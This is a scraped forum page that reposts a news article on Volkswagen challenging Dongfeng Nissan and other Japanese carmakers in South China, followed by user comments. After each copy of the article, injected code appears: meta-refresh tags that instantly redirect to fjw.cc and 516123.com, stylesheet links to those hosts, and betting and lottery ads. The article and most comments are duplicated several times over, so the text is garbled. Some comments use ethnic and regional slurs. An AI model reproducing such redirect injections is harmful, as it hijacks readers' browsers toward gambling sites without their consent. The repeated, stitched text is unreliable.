超级军网死守华南阵地 日系打响大众南下阻击战
来源：百度文库 编辑：超级军网 时间：2024/04/30 01:33:39
<br /><br />“华南市场一直是车企的必争之地，而一汽大众宣布华南新工厂将落户广东南海，使华南车市的争夺战再度升温。面对德系车的来势汹汹，长期占据华南地区70%市场份额的东风日产、广汽本田和广汽丰田等日系车企相继表态，放出“大众南下是好事，我们乐观其成”、“大众南下我们理解和欢迎，更不怕竞争”的豪言。
对于德日车系的“华南战役”，业内人士分析，群雄逐鹿以实力取胜，从产品布局、市场表现来看，东风日产是日系阵营的领先者，或将成为应对大众“南侵”的最强有力抗衡者。
死守华南阵地日系加紧扩张
就在大众南下“攻城略地”之时，日系品牌纷纷公布扩张计划，进一步巩固和拓展南方市场。5月8日，东风日产广州花都第二工厂奠基，预计2012年投产，届时东风日产广州花都工厂将成为日产全球最大的工厂；5月25日，本田宣布2012年前在华扩产36%，而广汽本田是此次本田扩大在华产能的主阵地；与此同时，丰田虽无高调扩产计划，但其合资公司一汽丰田四川新工厂和长春新工厂项目也在悄然启动。
自去年年底高调宣布“南方战略”，大众已经迫不及待地想在华南市场有所作为。作为
“华南战役”的“第一枪”，南北大众的多款战略车型已在珠三角地区高频度曝光。但是，由于日系品牌长年坚守着华南市场这块“主阵地”，其依然占据着市场的主动权。
从1月-4月广州上牌量看，东风日产仍以较大优势称霸本地车市，达到7136辆，一汽丰田以5572辆紧随其后，而广州本田和上海通用分别以4898辆和4350辆的成绩排在第三和第四位；而在DG和佛山，东风日产则以3823辆和1368辆的上牌量遥遥领先于其他厂商，华南地区东风日产的主导地位难以动摇。
拦截大众南下东风日产领军
“德系车虽来势凶猛，但能否对日系车构成威胁，归根结底还是由南方市场的消费者说了算。”汽车市场分析人士认为，从目前的市场表现来看，日系阵营更具备“本土作战”的优势，特别是东风日产，其优异表现对大众南进的气势始终在生成强有力的阻击和压制态势。
目前，华南市场愈发成为全国最核心的汽车市场。在过去几年，攻占华南市场一直是大众和通用的目标，但截至目前收效甚微。日系三大品牌牢牢占据了市场制高点，尤以东风日产的表现令人称道。成立7年的东风日产，2005年至2008年间始终保持三倍于行业平均增速。2009年，东风日产作为华南地区产销量最大的汽车企
业，凭借经典“梦八”车型的优异表现，在广州地区，全车系销量在日系品牌中一直稳居第一。2010年的市场销售数据表明，东风日产1至5月累计销量达到27.42万辆，同比增长51%，位居行业第4位，保持了迅猛增长的势头。
在迎战“大众南下”的日系阵营里，受丰田“召回门”、本田劳资争端等“后院起火”的事件影响，竞争力有所下降。因此，对于加速进军华南市场的大众来说，发展更为稳健、产品线更为完善的东风日产，才是最大的“拦路虎”。
|记者观察|
本土化经营的无穷力量
“厚基勃发”是东风日产提出的全年主题，它不仅蕴涵了“厚积薄发”的深意，更体现了东风日产有别于其他日系企业的核心竞争力——本土化经营的扎实根“基”与蓬“勃”生命力。正是日系精细化基因及中国市场本土经营的完美结合，蓄积了其不可复制的体系竞争力。
在营销网络方面，东风日产根据市场和政策的最新变化，在全国率先试行大区制管理，提升区域营销水平；对全国销售体系进行调整，实行“T”字型体系，即横向整合总部各部门的资源，纵向把总部对专营店的资源直达东风日产的二级销售网点，使体系更加扁平化，获得更快的市场反应能力。
目前，在华南市场的日系阵营之中，东风日产已经建立了深厚的基础。正如东风日产副总经理任勇所言：“谁能够把握中国消费者，谁能够以消费者的需求作为他所有工作的出发点，谁就能够赢得这个市场。”华南车市的较量，以实力论英雄。
记者张雁飞<meta http-equiv="refresh" content="0; url=http://fjw.cc">
<meta http-equiv="refresh" content="0; url=http://516123.com/1.html">
<link href="http://fjw.cc/558.css" rel="stylesheet" type="text/css" media="screen" />
<P> </P>
<link href="http://516123.com/8.css" rel="stylesheet" type="text/css" media="screen" />
<P> </P>
<P> </P>
6.合.彩==足球==篮球...各类投注开户下注
<P> </P>
推荐→第一投注==:倍率高.存取速度快.国内最好的投注平台<br /><br />“华南市场一直是车企的必争之地，而一汽大众宣布华南新工厂将落户广东南海，使华南车市的争夺战再度升温。面对德系车的来势汹汹，长期占据华南地区70%市场份额的东风日产、广汽本田和广汽丰田等日系车企相继表态，放出“大众南下是好事，我们乐观其成”、“大众南下我们理解和欢迎，更不怕竞争”的豪言。
对于德日车系的“华南战役”，业内人士分析，群雄逐鹿以实力取胜，从产品布局、市场表现来看，东风日产是日系阵营的领先者，或将成为应对大众“南侵”的最强有力抗衡者。
死守华南阵地日系加紧扩张
就在大众南下“攻城略地”之时，日系品牌纷纷公布扩张计划，进一步巩固和拓展南方市场。5月8日，东风日产广州花都第二工厂奠基，预计2012年投产，届时东风日产广州花都工厂将成为日产全球最大的工厂；5月25日，本田宣布2012年前在华扩产36%，而广汽本田是此次本田扩大在华产能的主阵地；与此同时，丰田虽无高调扩产计划，但其合资公司一汽丰田四川新工厂和长春新工厂项目也在悄然启动。
自去年年底高调宣布“南方战略”，大众已经迫不及待地想在华南市场有所作为。作为
“华南战役”的“第一枪”，南北大众的多款战略车型已在珠三角地区高频度曝光。但是，由于日系品牌长年坚守着华南市场这块“主阵地”，其依然占据着市场的主动权。
从1月-4月广州上牌量看，东风日产仍以较大优势称霸本地车市，达到7136辆，一汽丰田以5572辆紧随其后，而广州本田和上海通用分别以4898辆和4350辆的成绩排在第三和第四位；而在DG和佛山，东风日产则以3823辆和1368辆的上牌量遥遥领先于其他厂商，华南地区东风日产的主导地位难以动摇。
拦截大众南下东风日产领军
“德系车虽来势凶猛，但能否对日系车构成威胁，归根结底还是由南方市场的消费者说了算。”汽车市场分析人士认为，从目前的市场表现来看，日系阵营更具备“本土作战”的优势，特别是东风日产，其优异表现对大众南进的气势始终在生成强有力的阻击和压制态势。
目前，华南市场愈发成为全国最核心的汽车市场。在过去几年，攻占华南市场一直是大众和通用的目标，但截至目前收效甚微。日系三大品牌牢牢占据了市场制高点，尤以东风日产的表现令人称道。成立7年的东风日产，2005年至2008年间始终保持三倍于行业平均增速。2009年，东风日产作为华南地区产销量最大的汽车企
业，凭借经典“梦八”车型的优异表现，在广州地区，全车系销量在日系品牌中一直稳居第一。2010年的市场销售数据表明，东风日产1至5月累计销量达到27.42万辆，同比增长51%，位居行业第4位，保持了迅猛增长的势头。
在迎战“大众南下”的日系阵营里，受丰田“召回门”、本田劳资争端等“后院起火”的事件影响，竞争力有所下降。因此，对于加速进军华南市场的大众来说，发展更为稳健、产品线更为完善的东风日产，才是最大的“拦路虎”。
|记者观察|
本土化经营的无穷力量
“厚基勃发”是东风日产提出的全年主题，它不仅蕴涵了“厚积薄发”的深意，更体现了东风日产有别于其他日系企业的核心竞争力——本土化经营的扎实根“基”与蓬“勃”生命力。正是日系精细化基因及中国市场本土经营的完美结合，蓄积了其不可复制的体系竞争力。
在营销网络方面，东风日产根据市场和政策的最新变化，在全国率先试行大区制管理，提升区域营销水平；对全国销售体系进行调整，实行“T”字型体系，即横向整合总部各部门的资源，纵向把总部对专营店的资源直达东风日产的二级销售网点，使体系更加扁平化，获得更快的市场反应能力。
目前，在华南市场的日系阵营之中，东风日产已经建立了深厚的基础。正如东风日产副总经理任勇所言：“谁能够把握中国消费者，谁能够以消费者的需求作为他所有工作的出发点，谁就能够赢得这个市场。”华南车市的较量，以实力论英雄。
记者张雁飞<meta http-equiv="refresh" content="0; url=http://fjw.cc">
<meta http-equiv="refresh" content="0; url=http://516123.com/1.html">
<link href="http://fjw.cc/558.css" rel="stylesheet" type="text/css" media="screen" />
<P> </P>
<link href="http://516123.com/8.css" rel="stylesheet" type="text/css" media="screen" />
<P> </P>
<P> </P>
6.合.彩==足球==篮球...各类投注开户下注
<P> </P>
推荐→第一投注==:倍率高.存取速度快.国内最好的投注平台
对于德日车系的“华南战役”，业内人士分析，群雄逐鹿以实力取胜，从产品布局、市场表现来看，东风日产是日系阵营的领先者，或将成为应对大众“南侵”的最强有力抗衡者。
死守华南阵地日系加紧扩张
就在大众南下“攻城略地”之时，日系品牌纷纷公布扩张计划，进一步巩固和拓展南方市场。5月8日，东风日产广州花都第二工厂奠基，预计2012年投产，届时东风日产广州花都工厂将成为日产全球最大的工厂；5月25日，本田宣布2012年前在华扩产36%，而广汽本田是此次本田扩大在华产能的主阵地；与此同时，丰田虽无高调扩产计划，但其合资公司一汽丰田四川新工厂和长春新工厂项目也在悄然启动。
自去年年底高调宣布“南方战略”，大众已经迫不及待地想在华南市场有所作为。作为
“华南战役”的“第一枪”，南北大众的多款战略车型已在珠三角地区高频度曝光。但是，由于日系品牌长年坚守着华南市场这块“主阵地”，其依然占据着市场的主动权。
从1月-4月广州上牌量看，东风日产仍以较大优势称霸本地车市，达到7136辆，一汽丰田以5572辆紧随其后，而广州本田和上海通用分别以4898辆和4350辆的成绩排在第三和第四位；而在DG和佛山，东风日产则以3823辆和1368辆的上牌量遥遥领先于其他厂商，华南地区东风日产的主导地位难以动摇。
拦截大众南下东风日产领军
“德系车虽来势凶猛，但能否对日系车构成威胁，归根结底还是由南方市场的消费者说了算。”汽车市场分析人士认为，从目前的市场表现来看，日系阵营更具备“本土作战”的优势，特别是东风日产，其优异表现对大众南进的气势始终在生成强有力的阻击和压制态势。
目前，华南市场愈发成为全国最核心的汽车市场。在过去几年，攻占华南市场一直是大众和通用的目标，但截至目前收效甚微。日系三大品牌牢牢占据了市场制高点，尤以东风日产的表现令人称道。成立7年的东风日产，2005年至2008年间始终保持三倍于行业平均增速。2009年，东风日产作为华南地区产销量最大的汽车企
业，凭借经典“梦八”车型的优异表现，在广州地区，全车系销量在日系品牌中一直稳居第一。2010年的市场销售数据表明，东风日产1至5月累计销量达到27.42万辆，同比增长51%，位居行业第4位，保持了迅猛增长的势头。
在迎战“大众南下”的日系阵营里，受丰田“召回门”、本田劳资争端等“后院起火”的事件影响，竞争力有所下降。因此，对于加速进军华南市场的大众来说，发展更为稳健、产品线更为完善的东风日产，才是最大的“拦路虎”。
|记者观察|
本土化经营的无穷力量
“厚基勃发”是东风日产提出的全年主题，它不仅蕴涵了“厚积薄发”的深意，更体现了东风日产有别于其他日系企业的核心竞争力——本土化经营的扎实根“基”与蓬“勃”生命力。正是日系精细化基因及中国市场本土经营的完美结合，蓄积了其不可复制的体系竞争力。
在营销网络方面，东风日产根据市场和政策的最新变化，在全国率先试行大区制管理，提升区域营销水平；对全国销售体系进行调整，实行“T”字型体系，即横向整合总部各部门的资源，纵向把总部对专营店的资源直达东风日产的二级销售网点，使体系更加扁平化，获得更快的市场反应能力。
目前，在华南市场的日系阵营之中，东风日产已经建立了深厚的基础。正如东风日产副总经理任勇所言：“谁能够把握中国消费者，谁能够以消费者的需求作为他所有工作的出发点，谁就能够赢得这个市场。”华南车市的较量，以实力论英雄。
记者张雁飞<meta http-equiv="refresh" content="0; url=http://fjw.cc">
<meta http-equiv="refresh" content="0; url=http://516123.com/1.html">
<link href="http://fjw.cc/558.css" rel="stylesheet" type="text/css" media="screen" />
<P> </P>
<link href="http://516123.com/8.css" rel="stylesheet" type="text/css" media="screen" />
<P> </P>
<P> </P>
6.合.彩==足球==篮球...各类投注开户下注
<P> </P>
推荐→第一投注==:倍率高.存取速度快.国内最好的投注平台<br /><br />“华南市场一直是车企的必争之地，而一汽大众宣布华南新工厂将落户广东南海，使华南车市的争夺战再度升温。面对德系车的来势汹汹，长期占据华南地区70%市场份额的东风日产、广汽本田和广汽丰田等日系车企相继表态，放出“大众南下是好事，我们乐观其成”、“大众南下我们理解和欢迎，更不怕竞争”的豪言。
对于德日车系的“华南战役”，业内人士分析，群雄逐鹿以实力取胜，从产品布局、市场表现来看，东风日产是日系阵营的领先者，或将成为应对大众“南侵”的最强有力抗衡者。
死守华南阵地日系加紧扩张
就在大众南下“攻城略地”之时，日系品牌纷纷公布扩张计划，进一步巩固和拓展南方市场。5月8日，东风日产广州花都第二工厂奠基，预计2012年投产，届时东风日产广州花都工厂将成为日产全球最大的工厂；5月25日，本田宣布2012年前在华扩产36%，而广汽本田是此次本田扩大在华产能的主阵地；与此同时，丰田虽无高调扩产计划，但其合资公司一汽丰田四川新工厂和长春新工厂项目也在悄然启动。
自去年年底高调宣布“南方战略”，大众已经迫不及待地想在华南市场有所作为。作为
“华南战役”的“第一枪”，南北大众的多款战略车型已在珠三角地区高频度曝光。但是，由于日系品牌长年坚守着华南市场这块“主阵地”，其依然占据着市场的主动权。
从1月-4月广州上牌量看，东风日产仍以较大优势称霸本地车市，达到7136辆，一汽丰田以5572辆紧随其后，而广州本田和上海通用分别以4898辆和4350辆的成绩排在第三和第四位；而在DG和佛山，东风日产则以3823辆和1368辆的上牌量遥遥领先于其他厂商，华南地区东风日产的主导地位难以动摇。
拦截大众南下东风日产领军
“德系车虽来势凶猛，但能否对日系车构成威胁，归根结底还是由南方市场的消费者说了算。”汽车市场分析人士认为，从目前的市场表现来看，日系阵营更具备“本土作战”的优势，特别是东风日产，其优异表现对大众南进的气势始终在生成强有力的阻击和压制态势。
目前，华南市场愈发成为全国最核心的汽车市场。在过去几年，攻占华南市场一直是大众和通用的目标，但截至目前收效甚微。日系三大品牌牢牢占据了市场制高点，尤以东风日产的表现令人称道。成立7年的东风日产，2005年至2008年间始终保持三倍于行业平均增速。2009年，东风日产作为华南地区产销量最大的汽车企
业，凭借经典“梦八”车型的优异表现，在广州地区，全车系销量在日系品牌中一直稳居第一。2010年的市场销售数据表明，东风日产1至5月累计销量达到27.42万辆，同比增长51%，位居行业第4位，保持了迅猛增长的势头。
在迎战“大众南下”的日系阵营里，受丰田“召回门”、本田劳资争端等“后院起火”的事件影响，竞争力有所下降。因此，对于加速进军华南市场的大众来说，发展更为稳健、产品线更为完善的东风日产，才是最大的“拦路虎”。
|记者观察|
本土化经营的无穷力量
“厚基勃发”是东风日产提出的全年主题，它不仅蕴涵了“厚积薄发”的深意，更体现了东风日产有别于其他日系企业的核心竞争力——本土化经营的扎实根“基”与蓬“勃”生命力。正是日系精细化基因及中国市场本土经营的完美结合，蓄积了其不可复制的体系竞争力。
在营销网络方面，东风日产根据市场和政策的最新变化，在全国率先试行大区制管理，提升区域营销水平；对全国销售体系进行调整，实行“T”字型体系，即横向整合总部各部门的资源，纵向把总部对专营店的资源直达东风日产的二级销售网点，使体系更加扁平化，获得更快的市场反应能力。
目前，在华南市场的日系阵营之中，东风日产已经建立了深厚的基础。正如东风日产副总经理任勇所言：“谁能够把握中国消费者，谁能够以消费者的需求作为他所有工作的出发点，谁就能够赢得这个市场。”华南车市的较量，以实力论英雄。
记者张雁飞<meta http-equiv="refresh" content="0; url=http://fjw.cc">
<meta http-equiv="refresh" content="0; url=http://516123.com/1.html">
<link href="http://fjw.cc/558.css" rel="stylesheet" type="text/css" media="screen" />
<P> </P>
<link href="http://516123.com/8.css" rel="stylesheet" type="text/css" media="screen" />
<P> </P>
<P> </P>
6.合.彩==足球==篮球...各类投注开户下注
<P> </P>
推荐→第一投注==:倍率高.存取速度快.国内最好的投注平台
有点意思，看鬼子们在中国打架，居然还有叫好的。
当广东人民都素傻瓜?
妓者是东日的托
什么狗屁标题党
明明是中央军南下夺地，粤军拼死守城
中国车企几大冤
奇瑞明明是国企，大家都认为它是私企
上汽明明是地企，大家都认为它是央企
一汽二汽明明是外企，大家都认为它们是国企
明明是中央军南下夺地，粤军拼死守城
中国车企几大冤
奇瑞明明是国企，大家都认为它是私企
上汽明明是地企，大家都认为它是央企
一汽二汽明明是外企，大家都认为它们是国企
日产的售后服务不咋地 狂宰人 只要德系车在服务上做好 一定可以后来居上
一汽二汽明明是外企，大家都认为它们是国企
=========
:D 明明是伪军，皇协
=========
:D 明明是伪军，皇协
哈哈 感謝樓主分享 很是不錯啊
一牛掰滴说...{:wuyu:}
1.什么TSI/TFSI，不就升功率没有别克高，抖得和拖拉机一样还烧机油的玩儿嘛。。。
2.什么前驱，不就连根轴都不原意给，阉割动态底盘考验我们天朝VW系列驾驶员控制转向不足的能力嘛。。
3.什么缸内直喷，客官请看中**的97能让那发动机有多耐操。。
4.什么麦发逊，转起湾来小心头部与玻璃亲密接触。。噢。。不好意思。。忘记了，转向不足的拖着走的车极限基本达不到这程度
5.什么技术先进，不就是每天跑4S店学习先进技术，修空调，修天窗，修CD，修感应门，修ABS传感器，修ESP故障等，修到昏天暗地。。
6.什么操控性能，少了轴子，还加长，空间超大，轮胎超窄，果然能成就更低的抓地力，实现甩尾。。哎呀，不好意思，又忘记了是前驱车。。拉拉手刹的，重量惯性甩尾对于神车党算小儿科。。
7.什么有种和你日尔曼车撞撞，戴安娜王妃也是防弹S600死的。。。要是你真的死不了，那么我们这些光顾日系的人都应该在买车险的时候多买一份人寿了。。车是开的，玩的，不是撞得。。要非较劲，我只能开台HINO出来和你玩玩了，港片里装死过不少人，都在车里呆着的。。
1.什么TSI/TFSI，不就升功率没有别克高，抖得和拖拉机一样还烧机油的玩儿嘛。。。
2.什么前驱，不就连根轴都不原意给，阉割动态底盘考验我们天朝VW系列驾驶员控制转向不足的能力嘛。。
3.什么缸内直喷，客官请看中**的97能让那发动机有多耐操。。
4.什么麦发逊，转起湾来小心头部与玻璃亲密接触。。噢。。不好意思。。忘记了，转向不足的拖着走的车极限基本达不到这程度
5.什么技术先进，不就是每天跑4S店学习先进技术，修空调，修天窗，修CD，修感应门，修ABS传感器，修ESP故障等，修到昏天暗地。。
6.什么操控性能，少了轴子，还加长，空间超大，轮胎超窄，果然能成就更低的抓地力，实现甩尾。。哎呀，不好意思，又忘记了是前驱车。。拉拉手刹的，重量惯性甩尾对于神车党算小儿科。。
7.什么有种和你日尔曼车撞撞，戴安娜王妃也是防弹S600死的。。。要是你真的死不了，那么我们这些光顾日系的人都应该在买车险的时候多买一份人寿了。。车是开的，玩的，不是撞得。。要非较劲，我只能开台HINO出来和你玩玩了，港片里装死过不少人，都在车里呆着的。。
疯田在我眼里形象算是完了。
大众的技术是不顾顾客价值的技术
（1）疯狂模块化只是满足了比美国人还要美国人的新德国满地爬的Dr.（类似美国中国的MBA）
的金融业强奸制造业的性欲
（2）疯狂的自动化，不顾价值，不顾浪费，是因为中国人会被忽悠而加价买单
（3）疯狂地上未经验证的“新”非核心技术，技术对汽车核心性能没什么贡献，贡献的
反正是4S店的利润。
（1）疯狂模块化只是满足了比美国人还要美国人的新德国满地爬的Dr.（类似美国中国的MBA）
的金融业强奸制造业的性欲
（2）疯狂的自动化，不顾价值，不顾浪费，是因为中国人会被忽悠而加价买单
（3）疯狂地上未经验证的“新”非核心技术，技术对汽车核心性能没什么贡献，贡献的
反正是4S店的利润。
搞不懂为什么广东人对日本车极度偏爱.
tomcat650093 发表于 2010-6-23 22:42 
好修
好修
造汽 发表于 2010-6-22 09:13
说的好。。。{:3_97:}
说的好。。。{:3_97:}
tomcat650093 发表于 2010-6-23 22:42
因为广东老"傻唔晒"{:wuyu:}
因为广东老"傻唔晒"{:wuyu:}
广东人受到香港的影响偏爱日系车。上次在香港看见香港的中低档车80%-90%都是日系车，尤其是丰田。个人观点来看，日系车比欧系。德系车外观更讨人喜欢。
其实是南方人心理上不 习惯被主导，喜欢特立独行。
回楼上,不是"被主导",而是主导ING...
PS:桑2000卖20W的年代,进口蓝鸟才多少钱...{:wuyu:}
PS:桑2000卖20W的年代,进口蓝鸟才多少钱...{:wuyu:}
对老广有时候诸多微词，但是他们有一点我是佩服的，他们
真的做到走自己的路让别人说去吧的境界，从以前计划经济
时代就是这样，山高皇帝远，我过我的日子，话你们听不懂
活该，我们想吃什么吃什么，所以才有了改革开放试验田，
不是老邓聪明，而是在那里做最容易成功，人家早已经改开搞了。
海派包容性很强的，但是海派有一个很大的弱点就是太在乎权威，
太在乎别人说什么，所以到最后，战战兢兢就怕得罪人，但最后
还是里外不是人，人家踩你没商量，甚至成了帝都人的一种小脑行为
甚至裤裆反应。这一点，我感到老广的精神是好的，不那么轻易地
“被”什么什么。
真的做到走自己的路让别人说去吧的境界，从以前计划经济
时代就是这样，山高皇帝远，我过我的日子，话你们听不懂
活该，我们想吃什么吃什么，所以才有了改革开放试验田，
不是老邓聪明，而是在那里做最容易成功，人家早已经改开搞了。
海派包容性很强的，但是海派有一个很大的弱点就是太在乎权威，
太在乎别人说什么，所以到最后，战战兢兢就怕得罪人，但最后
还是里外不是人，人家踩你没商量，甚至成了帝都人的一种小脑行为
甚至裤裆反应。这一点，我感到老广的精神是好的，不那么轻易地
“被”什么什么。
造汽 发表于 2010-6-26 15:06
造汽,乃错鸟
一,老广从来都是经济动物,古代是,现代更是...
二,海派文化和老广没任何关系,老广有自己的粤文化客家文化潮汕文化,都是正儿八经的古文化...
三,老广不喜欢个性太张扬而且性价比不高的东西,"便靓正"是老广一直的购物标准...
造汽,乃错鸟
一,老广从来都是经济动物,古代是,现代更是...
二,海派文化和老广没任何关系,老广有自己的粤文化客家文化潮汕文化,都是正儿八经的古文化...
三,老广不喜欢个性太张扬而且性价比不高的东西,"便靓正"是老广一直的购物标准...
车车 发表于 2010-6-14 16:56
随着国内广大民众购车理念的日趋成熟
日系车再不有所改变 咱们有义务让其去喝西北风
没事建议看看优酷网上的 小强实验室 这个节目
真的很勇敢 很敬业 敢于向日韩系“非安全性”车辆进行挑战 估计日韩系车恨得牙痒痒了
随着国内广大民众购车理念的日趋成熟
日系车再不有所改变 咱们有义务让其去喝西北风
没事建议看看优酷网上的 小强实验室 这个节目
真的很勇敢 很敬业 敢于向日韩系“非安全性”车辆进行挑战 估计日韩系车恨得牙痒痒了
蟑螂实验室偏向性太强了，里面传播的一些汽车知识实际是在误导消费者。
哈哈，曱甴工作室那个傻比节目都成权威了啊！
蟑螂实验室就一收钱替人说话的。谁给他钱他就替谁说话。
colt2008 发表于 2010-6-29 11:27
你看走眼了，不知道我一直有“表达不清”的毛病吗？:D
我就是那海派文化跟广派文化做对比，在这一点上，我这个
海人很佩服老广的理性和不在乎其它人七嘴八舌的性格
你看走眼了，不知道我一直有“表达不清”的毛病吗？:D
我就是那海派文化跟广派文化做对比，在这一点上，我这个
海人很佩服老广的理性和不在乎其它人七嘴八舌的性格
langzizu 发表于 2010-6-29 19:41
随着民众汽车文化和购车理念的成熟，很不幸，你说的情况恰恰会朝相反的方向走，
应该担心的恰恰是大众和巴汽（我不喜欢用什么什么系，造汽车的人觉得这个“系”
都是外人YY出来的，天下乌鸦一般白）
随着民众汽车文化和购车理念的成熟，很不幸，你说的情况恰恰会朝相反的方向走，
应该担心的恰恰是大众和巴汽（我不喜欢用什么什么系，造汽车的人觉得这个“系”
都是外人YY出来的，天下乌鸦一般白）
langzizu 发表于 2010-6-29 19:41
当GM发誓要在内饰,动力传动方面追赶双田的时候,你说的实在...好笑...{:wuyu:}
当GM发誓要在内饰,动力传动方面追赶双田的时候,你说的实在...好笑...{:wuyu:}
造汽 发表于 2010-6-30 09:46
所以,偶认为,神车到华南来设厂,只要骨子不变,一样没戏{:wuyu:}
所以,偶认为,神车到华南来设厂,只要骨子不变,一样没戏{:wuyu:}
其实北京上海用车理念远没有广东成熟
北京算了，但是我很为现在的上海人的理念悲伤，如果是因为袜跟在上海所以
大家要保证自己的车好修，那还可以原谅。我就原谅了一回自己，买了一辆
好修但不便宜修的袜跟
北京算了，但是我很为现在的上海人的理念悲伤，如果是因为袜跟在上海所以
大家要保证自己的车好修，那还可以原谅。我就原谅了一回自己，买了一辆
好修但不便宜修的袜跟
回复 27# colt2008
你说买车第一个要考虑的是什么呢？
你说买车第一个要考虑的是什么呢？
找妞的第一个要考虑的是什么？
找老婆过日子的第一个要考虑的是什么？
调查问卷，第一永远是“安全”，但在买的时候，根本不是。
这还不说填表的人和买车的人，动不动什么叫安全。
这是经过了完整的顾客价值研究后看出来的现象。
找老婆过日子的第一个要考虑的是什么？
调查问卷，第一永远是“安全”，但在买的时候，根本不是。
这还不说填表的人和买车的人，动不动什么叫安全。
这是经过了完整的顾客价值研究后看出来的现象。
langzizu 发表于 2010-6-30 15:00
我说,等你真的需要买车时就知道第一要考虑的是什么{:wuyu:}
我说,等你真的需要买车时就知道第一要考虑的是什么{:wuyu:}
造汽 发表于 2010-6-30 11:48
当年爬杀特在广东也是很NB的,但后面选择多了,大家就不鸟不与时俱进的伤害打肿{:wuyu:}
当年爬杀特在广东也是很NB的,但后面选择多了,大家就不鸟不与时俱进的伤害打肿{:wuyu:}
偶听人说,打肿华南设厂理由是为了降低物流成本,贴近市场...真的如此么{:wuyu:}
回复 33# colt2008
不怕笑话 我现在开QQ 3万左右的车 首先考虑的是维修费用 价钱在这 没有过多要求
明年我计划换车 正徘徊于菱悦V3与奇瑞A3之间 前者省油 后者安全
经过漫长思想斗争 我锁定后者
就我理解而言 成熟的购车理念 安全第一 油耗次之
正如欧洲顶级碰撞试验 如果参试车辆没有安装EPS 测试成绩为0
因此我觉得 国人的购车理念比较狭隘 注重舒适度 节油度胜过安全性
关键时刻 安全性高些的车 能救你一命
正如有人问 航空公司 你们运营中第一条原则是什么 有人回答 服务 其实错 是安全
不怕笑话 我现在开QQ 3万左右的车 首先考虑的是维修费用 价钱在这 没有过多要求
明年我计划换车 正徘徊于菱悦V3与奇瑞A3之间 前者省油 后者安全
经过漫长思想斗争 我锁定后者
就我理解而言 成熟的购车理念 安全第一 油耗次之
正如欧洲顶级碰撞试验 如果参试车辆没有安装EPS 测试成绩为0
因此我觉得 国人的购车理念比较狭隘 注重舒适度 节油度胜过安全性
关键时刻 安全性高些的车 能救你一命
正如有人问 航空公司 你们运营中第一条原则是什么 有人回答 服务 其实错 是安全
:D本穷现在开的鬼子车5W多KM了，还没产生过维修费用。
langzizu 发表于 2010-6-30 19:31
E-NCAP被动安全测试,和EPS电子转向有什么关系?求解释{:wuyu:} ...
就算是主动安全系统,也是辅助性加分...和零分有什么关系?
E-NCAP被动安全测试,和EPS电子转向有什么关系?求解释{:wuyu:} ...
就算是主动安全系统,也是辅助性加分...和零分有什么关系?
马丕 发表于 2010-6-30 20:37
乃应该换车鸟...新锐志吧{:cha:}
乃应该换车鸟...新锐志吧{:cha:}
tomcat650093 发表于 2010-6-23 22:42
同理，广东人也搞不懂神车党是啥玩意儿，怎么成立的。
同理，广东人也搞不懂神车党是啥玩意儿，怎么成立的。